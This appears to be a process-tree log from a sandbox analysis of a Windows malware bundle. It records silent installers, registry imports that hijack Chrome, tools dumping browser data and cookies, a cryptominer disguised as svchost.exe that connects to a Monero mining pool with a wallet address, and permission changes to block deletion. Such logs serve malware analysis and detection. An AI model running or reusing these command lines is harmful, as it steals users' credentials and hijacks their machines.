C:\Users\Admin\AppData\Local\Temp\is-G4J64.tmp\Setup3310.tmp"C:\Users\Admin\AppData\Local\Temp\is-G4J64.tmp\Setup3310.tmp" /SL5="$10280,802346,56832,C:\Users\Admin\AppData\Local\Temp\z3wo3ex1go3\Setup3310.exe" /Verysilent /subid=5771⤵PID:680
-
C:\Users\Admin\AppData\Local\Temp\is-04NII.tmp\Setup.exe"C:\Users\Admin\AppData\Local\Temp\is-04NII.tmp\Setup.exe" /Verysilent2⤵PID:6032
-
C:\Users\Admin\AppData\Local\Temp\is-2VHIH.tmp\Setup.tmp"C:\Users\Admin\AppData\Local\Temp\is-2VHIH.tmp\Setup.tmp" /SL5="$204BE,802346,56832,C:\Users\Admin\AppData\Local\Temp\is-04NII.tmp\Setup.exe" /Verysilent3⤵PID:6104
-
C:\Users\Admin\AppData\Local\Temp\is-TEVHC.tmp\ProPlugin.exe"C:\Users\Admin\AppData\Local\Temp\is-TEVHC.tmp\ProPlugin.exe" /Verysilent4⤵PID:3144
-
C:\Users\Admin\AppData\Local\Temp\is-M1KIL.tmp\ProPlugin.tmp"C:\Users\Admin\AppData\Local\Temp\is-M1KIL.tmp\ProPlugin.tmp" /SL5="$204D2,138429,56832,C:\Users\Admin\AppData\Local\Temp\is-TEVHC.tmp\ProPlugin.exe" /Verysilent5⤵PID:5348
-
C:\Users\Admin\AppData\Local\Temp\is-G01HB.tmp\Setup.exe"C:\Users\Admin\AppData\Local\Temp\is-G01HB.tmp\Setup.exe"6⤵PID:6924
-
C:\Users\Admin\AppData\Local\Temp\RarSFX3\main.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX3\main.exe"7⤵PID:7064
-
C:\Windows\regedit.exeregedit /s chrome.reg8⤵
- Runs .reg file with regedit
PID:4852
-
-
C:\Windows\SYSTEM32\TASKKILL.exeTASKKILL /F /IM chrome.exe8⤵
- Kills process with taskkill
PID:1432
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c chrome64.bat8⤵PID:5416
-
C:\Windows\system32\mshta.exemshta vbscript:createobject("wscript.shell").run("chrome64.bat h",0)(window.close)9⤵PID:1592
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\RarSFX3\chrome64.bat" h"10⤵PID:5240
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:/Program Files/Google/Chrome/Application/chrome.exe"11⤵PID:6524
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=86.0.4240.111 --initial-client-data=0xd4,0xd8,0xdc,0xb0,0xe0,0x7ffa5a946e00,0x7ffa5a946e10,0x7ffa5a946e2012⤵PID:5224
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --field-trial-handle=1668,6836481016235625746,399781439751657757,131072 --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --mojo-platform-channel-handle=1680 /prefetch:212⤵PID:1760
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1668,6836481016235625746,399781439751657757,131072 --lang=en-US --service-sandbox-type=network --mojo-platform-channel-handle=1728 /prefetch:812⤵PID:5856
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1668,6836481016235625746,399781439751657757,131072 --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2688 /prefetch:112⤵PID:720
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1668,6836481016235625746,399781439751657757,131072 --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=4 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2828 /prefetch:112⤵PID:5268
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1668,6836481016235625746,399781439751657757,131072 --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3260 /prefetch:112⤵PID:5156
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1668,6836481016235625746,399781439751657757,131072 --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3376 /prefetch:112⤵PID:5464
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1668,6836481016235625746,399781439751657757,131072 --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3256 /prefetch:112⤵PID:6652
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1668,6836481016235625746,399781439751657757,131072 --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3232 /prefetch:112⤵PID:5324
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1668,6836481016235625746,399781439751657757,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4584 /prefetch:812⤵PID:6160
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1668,6836481016235625746,399781439751657757,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4448 /prefetch:812⤵PID:4740
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1668,6836481016235625746,399781439751657757,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4644 /prefetch:812⤵PID:6168
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1668,6836481016235625746,399781439751657757,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4504 /prefetch:812⤵PID:4764
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1668,6836481016235625746,399781439751657757,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4460 /prefetch:812⤵PID:452
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1668,6836481016235625746,399781439751657757,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3468 /prefetch:812⤵PID:1872
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1668,6836481016235625746,399781439751657757,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3696 /prefetch:812⤵PID:4624
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1668,6836481016235625746,399781439751657757,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4712 /prefetch:812⤵PID:2132
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1668,6836481016235625746,399781439751657757,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4716 /prefetch:812⤵PID:4304
-
-
C:\Program Files\Google\Chrome\Application\86.0.4240.111\Installer\chrmstp.exe"C:\Program Files\Google\Chrome\Application\86.0.4240.111\Installer\chrmstp.exe" --configure-user-settings --verbose-logging --system-level --force-configure-user-settings12⤵PID:7096
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1668,6836481016235625746,399781439751657757,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3472 /prefetch:812⤵PID:6252
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1668,6836481016235625746,399781439751657757,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3376 /prefetch:812⤵PID:672
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1668,6836481016235625746,399781439751657757,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2132 /prefetch:812⤵PID:5448
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1668,6836481016235625746,399781439751657757,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3564 /prefetch:812⤵PID:4984
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1668,6836481016235625746,399781439751657757,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4792 /prefetch:812⤵PID:1728
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1668,6836481016235625746,399781439751657757,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4228 /prefetch:812⤵PID:6196
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1668,6836481016235625746,399781439751657757,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=1804 /prefetch:812⤵PID:5952
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1668,6836481016235625746,399781439751657757,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3580 /prefetch:812⤵PID:4924
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1668,6836481016235625746,399781439751657757,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3608 /prefetch:812⤵PID:6736
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1668,6836481016235625746,399781439751657757,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3884 /prefetch:812⤵PID:6608
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1668,6836481016235625746,399781439751657757,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3308 /prefetch:812⤵PID:5700
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1668,6836481016235625746,399781439751657757,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4752 /prefetch:812⤵PID:4832
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1668,6836481016235625746,399781439751657757,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4176 /prefetch:812⤵PID:1316
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1668,6836481016235625746,399781439751657757,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4844 /prefetch:812⤵PID:6184
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1668,6836481016235625746,399781439751657757,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4432 /prefetch:812⤵PID:232
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1668,6836481016235625746,399781439751657757,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5136 /prefetch:812⤵PID:5824
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1668,6836481016235625746,399781439751657757,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5140 /prefetch:812⤵PID:5324
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1668,6836481016235625746,399781439751657757,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5148 /prefetch:812⤵PID:4588
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1668,6836481016235625746,399781439751657757,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5540 /prefetch:812⤵PID:4360
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1668,6836481016235625746,399781439751657757,131072 --disable-gpu-compositing --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=38 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5652 /prefetch:112⤵PID:6972
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1668,6836481016235625746,399781439751657757,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2444 /prefetch:812⤵PID:5124
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1668,6836481016235625746,399781439751657757,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4492 /prefetch:812⤵PID:4344
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1668,6836481016235625746,399781439751657757,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3228 /prefetch:812⤵PID:6592
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1668,6836481016235625746,399781439751657757,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4700 /prefetch:812⤵PID:6004
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1668,6836481016235625746,399781439751657757,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4156 /prefetch:812⤵PID:6588
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1668,6836481016235625746,399781439751657757,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4608 /prefetch:812⤵PID:3736
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1668,6836481016235625746,399781439751657757,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4240 /prefetch:812⤵PID:6384
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1668,6836481016235625746,399781439751657757,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=1588 /prefetch:812⤵PID:5048
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1668,6836481016235625746,399781439751657757,131072 --disable-gpu-compositing --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=47 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3356 /prefetch:112⤵PID:7040
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1668,6836481016235625746,399781439751657757,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5336 /prefetch:812⤵PID:6620
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1668,6836481016235625746,399781439751657757,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6048 /prefetch:812⤵PID:5960
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1668,6836481016235625746,399781439751657757,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6168 /prefetch:812⤵PID:5652
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1668,6836481016235625746,399781439751657757,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6312 /prefetch:812⤵PID:4608
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1668,6836481016235625746,399781439751657757,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6456 /prefetch:812⤵PID:5936
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1668,6836481016235625746,399781439751657757,131072 --disable-gpu-compositing --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=52 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6428 /prefetch:112⤵PID:5296
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1668,6836481016235625746,399781439751657757,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3972 /prefetch:812⤵PID:4056
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1668,6836481016235625746,399781439751657757,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4480 /prefetch:812⤵PID:6564
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1668,6836481016235625746,399781439751657757,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6876 /prefetch:812⤵PID:5660
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --field-trial-handle=1668,6836481016235625746,399781439751657757,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.15063.0 --gpu-preferences=MAAAAAAAAADoAAAwAAAAAAAAAAAAAAAAAABgAAAIAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --mojo-platform-channel-handle=2380 /prefetch:212⤵PID:7808
-
-
-
-
-
-
C:\Windows\regedit.exeregedit /s chrome-set.reg8⤵
- Runs .reg file with regedit
PID:4924
-
-
C:\Users\Admin\AppData\Local\Temp\RarSFX3\parse.exeparse.exe -f json -b firefox8⤵PID:5144
-
-
C:\Users\Admin\AppData\Local\Temp\RarSFX3\parse.exeparse.exe -f json -b chrome8⤵PID:672
-
-
C:\Users\Admin\AppData\Local\Temp\RarSFX3\parse.exeparse.exe -f json -b edge8⤵PID:3660
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\is-TEVHC.tmp\DataFinder.exe"C:\Users\Admin\AppData\Local\Temp\is-TEVHC.tmp\DataFinder.exe" /Verysilent4⤵PID:5936
-
C:\Users\Admin\Services.exe"C:\Users\Admin\Services.exe"5⤵PID:7068
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -B --coin=monero --asm=auto --cpu-memory-pool=-1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=xmr-us-east1.nanopool.org:14433 --user=42Lm2CeGer8hubckgimBBXhKWRnZqtLx74Ye2HcyMyikARReDxWRn15Bia1k8qgnboPNxEZJHN5HgX8eNa1EP7xeA3X8Z7s --pass= --cpu-max-threads-hint=50 --donate-level=5 --unam-idle-wait=5 --unam-idle-cpu=0 --nicehash --tls --unam-stealth6⤵PID:7088
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\is-TEVHC.tmp\Delta.exe"C:\Users\Admin\AppData\Local\Temp\is-TEVHC.tmp\Delta.exe" /Verysilent4⤵PID:6768
-
C:\Users\Admin\AppData\Local\Temp\is-TF1NP.tmp\Delta.tmp"C:\Users\Admin\AppData\Local\Temp\is-TF1NP.tmp\Delta.tmp" /SL5="$60374,898740,56832,C:\Users\Admin\AppData\Local\Temp\is-TEVHC.tmp\Delta.exe" /Verysilent5⤵PID:2960
-
C:\Users\Admin\AppData\Local\Temp\is-O4LMM.tmp\Setup.exe"C:\Users\Admin\AppData\Local\Temp\is-O4LMM.tmp\Setup.exe" /VERYSILENT6⤵PID:7120
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im Setup.exe /f & erase C:\Users\Admin\AppData\Local\Temp\is-O4LMM.tmp\Setup.exe & exit7⤵PID:6284
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im Setup.exe /f8⤵
- Kills process with taskkill
PID:228
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\is-TEVHC.tmp\zznote.exe"C:\Users\Admin\AppData\Local\Temp\is-TEVHC.tmp\zznote.exe" /Verysilent4⤵PID:5612
-
C:\Users\Admin\AppData\Local\Temp\is-I6L2L.tmp\zznote.tmp"C:\Users\Admin\AppData\Local\Temp\is-I6L2L.tmp\zznote.tmp" /SL5="$70374,138429,56832,C:\Users\Admin\AppData\Local\Temp\is-TEVHC.tmp\zznote.exe" /Verysilent5⤵PID:216
-
C:\Users\Admin\AppData\Local\Temp\is-6COVT.tmp\jg4_4jaa.exe"C:\Users\Admin\AppData\Local\Temp\is-6COVT.tmp\jg4_4jaa.exe" /silent6⤵PID:6572
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\is-TEVHC.tmp\hjjgaa.exe"C:\Users\Admin\AppData\Local\Temp\is-TEVHC.tmp\hjjgaa.exe" /Verysilent4⤵PID:7452
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt5⤵PID:5420
-
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt5⤵PID:7272
-
-
-
-
-
\??\c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s DsmSvc1⤵PID:5764
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca1⤵PID:6404
-
C:\Windows\system32\werfault.exewerfault.exe /h /shared Global\5c309c8766714e979cc7a8cfec4cad6c /t 3216 /p 31521⤵PID:6628
-
C:\Windows\system32\browser_broker.exeC:\Windows\system32\browser_broker.exe -Embedding1⤵PID:6708
-
\??\c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k dcomlaunch -s DeviceInstall1⤵PID:6512
-
C:\Windows\system32\DrvInst.exeDrvInst.exe "4" "0" "C:\Users\Admin\AppData\Local\Temp\{16c93cc4-914b-5f43-a6d4-487a8d0ca22a}\oemvista.inf" "9" "4d14a44ff" "0000000000000164" "WinSta0\Default" "0000000000000170" "208" "c:\program files (x86)\maskvpn\driver\win764"2⤵PID:6660
-
-
C:\Windows\system32\DrvInst.exeDrvInst.exe "2" "211" "ROOT\NET\0000" "C:\Windows\INF\oem2.inf" "oemvista.inf:3beb73aff103cc24:tap0901.ndi:9.0.0.21:tap0901," "4d14a44ff" "0000000000000168"2⤵PID:2236
-
-
\??\c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s seclogon1⤵PID:6208
-
C:\Users\Admin\AppData\Local\Temp\76C2.exeC:\Users\Admin\AppData\Local\Temp\76C2.exe1⤵PID:6220
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Users\Admin\AppData\Local\162c8d62-7a61-49ce-8cf4-b780fb1c055e" /deny *S-1-1-0:(OI)(CI)(DE,DC)2⤵
- Modifies file permissions
PID:6804
-
-
C:\Users\Admin\AppData\Local\Temp\76C2.exe"C:\Users\Admin\AppData\Local\Temp\76C2.exe" --Admin IsNotAutoStart IsNotTask2⤵PID:6988
-
C:\Users\Admin\AppData\Local\60b6a64a-52bf-4e32-b89c-c951f59113c5\updatewin1.exe"C:\Users\Admin\AppData\Local\60b6a64a-52bf-4e32-b89c-c951f59113c5\updatewin1.exe"3⤵PID:2628
-
-
C:\Users\Admin\AppData\Local\60b6a64a-52bf-4e32-b89c-c951f59113c5\updatewin2.exe"C:\Users\Admin\AppData\Local\60b6a64a-52bf-4e32-b89c-c951f59113c5\updatewin2.exe"3⤵PID:5340
-
-
